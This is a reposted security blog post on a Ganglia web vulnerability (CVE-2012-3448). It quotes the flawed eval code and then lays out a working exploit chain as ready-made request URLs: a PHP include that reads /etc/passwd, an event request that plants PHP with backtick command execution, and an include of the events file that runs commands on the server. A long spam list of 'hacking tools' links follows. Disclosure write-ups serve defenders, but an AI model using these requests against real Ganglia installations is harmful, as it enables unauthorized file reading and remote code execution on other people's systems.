http://console-cowboys.blogspot.com/2012/01/ganglia-monitoring-system-lfi.html
I recently grabbed the latest version of the Ganglia web application to take a look to see if this issue has been fixed and I was pleasantly surprised... github is over here -
https://github.com/ganglia/ganglia-web
Looking at the code the following (abbreviated "graph.php") sequence can be found -
$graph = isset($_GET["g"]) ? sanitize ( $_GET["g"] ) : "metric";
....
$graph_arguments = NULL;
$pos = strpos($graph, ",");
$graph_arguments = substr($graph, $pos + 1);
....
eval('$graph_function($rrdtool_graph,' . $graph_arguments . ');');
I can only guess that this previous snippet of code was meant to be used as some sort of API put in place for remote developers, unfortunately it is slightly broken. For some reason when this API was being developed part of its interface was wrapped in the following function -
function sanitize ( $string ) {
return escapeshellcmd( clean_string( rawurldecode( $string ) ) ) ;
}
According the the PHP documentation -
Following characters are preceded by a backslash: #&;`|*?~<>^()[]{}$\, \x0A and \xFF. ' and " are escaped only if they are not paired. In Windows, all these characters plus % are replaced by a space instead.
This limitation of the API means we cannot simply pass in a function like eval, exec, system, or use backticks to create our Ganglia extension. Our only option is to use PHP functions that do not require "(" or ")" a quick look at the available options (http://www.php.net/manual/en/reserved.keywords.php) it looks like "include" would work nicely. An example API request that would help with administrative reporting follows:
http://192.168.18.157/gang/graph.php?g=cpu_report,include+'/etc/passwd'
Very helpful, we can get a nice report with a list of current system users. Reporting like this is a nice feature but what we really would like to do is create a new extension that allows us to execute system commands on the Ganglia system. After a brief examination of the application it was found that we can leverage some other functionality of the application to finalize our Ganglia extension. The "events" page allows for a Ganglia user to configure events in the system, I am not exactly sure what type of events you would configure, but I hope that I am invited.
As you can see in the screen shot I have marked the "Event Summary" with "php here". When creating our API extension event we will fill in this event with the command we wish to run, see the following example request -
http://192.168.18.157/gang/api/events.php?action=add&summary=<%3fphp+echo+`whoami`%3b+%3f>&start_time=07/01/2012%2000:00%20&end_time=07/02/2012%2000:00%20&host_regex=
This request will set up an "event" that will let everyone know who you are, that would be the friendly thing to do when attending an event. We can now go ahead and wire up our API call to attend our newly created event. Since we know that Ganglia keeps track of all planned events in the following location "/var/lib/ganglia/conf/events.json" lets go ahead and include this file in our API call -
http://192.168.18.157/gang/graph.php?g=cpu_report,include+'/var/lib/ganglia/conf/events.json'
As you can see we have successfully made our API call and let everyone know at the "event" that our name is "www-data". From here I will leave the rest of the API development up to you. I hope this article will get you started on your Ganglia API development and you are able to implement whatever functionality your environment requires. Thanks for following along.
Update: This issue has been assigned CVE-2012-3448
More articles
- Hacker Tools Github
- Hacker Tools
- Hack Tools Pc
- Hacker Tools Hardware
- Pentest Tools Download
- How To Hack
- Pentest Tools Open Source
- Hacking Tools Windows
- Hacker Tools Windows
- Pentest Tools Alternative
- How To Install Pentest Tools In Ubuntu
- Hacking Tools Free Download
- Hacking Tools Download
- Hacker Tools Linux
- Nsa Hack Tools
- Pentest Tools Free
- Hack Tools Download
- How To Make Hacking Tools
- Hacking Tools Software
- Best Hacking Tools 2019
- Hacking Tools And Software
- Hack Tools Pc
- Hacking Tools Download
- Pentest Tools Windows
- Pentest Tools Bluekeep
- Hacker Tools Software
- Usb Pentest Tools
- Pentest Tools Free
- Hacking Apps
- Hacker Tools Apk
- Hack Tools For Windows
- Pentest Tools Subdomain
- Hack Apps
- Hackrf Tools
- Pentest Tools Tcp Port Scanner
- Android Hack Tools Github
- Bluetooth Hacking Tools Kali
- Pentest Tools Subdomain
- Hack Tools Pc
- Pentest Tools Review
- Hack Tools For Games
- New Hack Tools
- Hacking Tools For Kali Linux
- Hacker Tools Online
- Hacker Tools For Windows
- Hacker Tools Apk
- Hacking Tools For Beginners
- Hacking Tools Pc
- Hack Tools For Windows
- Tools 4 Hack
- Pentest Tools Open Source
- Hacker Techniques Tools And Incident Handling
- Pentest Tools Online
- Hacker Tools Online
- Hacker Tools For Ios
- Hack Tools 2019
- Hacking Tools Windows
- Hacker Tools For Mac
- Pentest Tools Online
- What Are Hacking Tools
- Hacker Tools Free Download
- Pentest Tools Free
- Hack Tools For Pc
- Install Pentest Tools Ubuntu
- Hacking Tools Online
- Pentest Tools Free
- Hacking Tools For Windows Free Download
- Pentest Box Tools Download
- Hacking Tools Download
- Hacking Tools Windows
- Pentest Tools Github
- Hack Rom Tools
- Pentest Tools Bluekeep
- Hack Tool Apk No Root
- Hack Tools Pc
- Hack Tools For Mac
- Hacking Tools Kit
- Blackhat Hacker Tools
- Hacker
- Pentest Tools Bluekeep
- Termux Hacking Tools 2019
- Hacks And Tools
- Tools 4 Hack
- Blackhat Hacker Tools
- World No 1 Hacker Software
- How To Make Hacking Tools
- Blackhat Hacker Tools
- Pentest Tools Android
- Hack Tool Apk
- Hacker Tools Online
- Pentest Reporting Tools
- Hacking Tools Free Download
- Pentest Box Tools Download
- Nsa Hack Tools Download
- Hack Tools Mac
- Pentest Tools Linux
- Hacking Tools For Windows 7
- Pentest Tools Url Fuzzer
- Hack Tools Mac
- Pentest Tools Free
- Hacker Tools
- Hacker Tools For Ios
- Pentest Tools For Ubuntu
- Free Pentest Tools For Windows
- Hacking Tools Kit
- Hacking Tools For Windows
- Tools Used For Hacking
- Hacker Hardware Tools
- Hacker Tools For Windows
- Hack Website Online Tool
- Top Pentest Tools
- Hacker Tools For Windows
- Pentest Tools For Mac
- Hacker Tools
- Hacker Tools Hardware
- Bluetooth Hacking Tools Kali
- Pentest Reporting Tools
- Pentest Tools Alternative
- Hacking Tools Name
- Game Hacking
- Hacker Tools For Windows
- Hacking Tools Github
- Hak5 Tools
- Best Pentesting Tools 2018
- Hacker Tools Apk Download
- Pentest Tools Find Subdomains
- Best Pentesting Tools 2018
- Android Hack Tools Github
- Pentest Recon Tools
- Hacker Hardware Tools
- How To Install Pentest Tools In Ubuntu
- Free Pentest Tools For Windows
- Termux Hacking Tools 2019
- Hacking Tools Free Download
- Pentest Recon Tools
- Hacker Tools Linux
Nenhum comentário:
Postar um comentário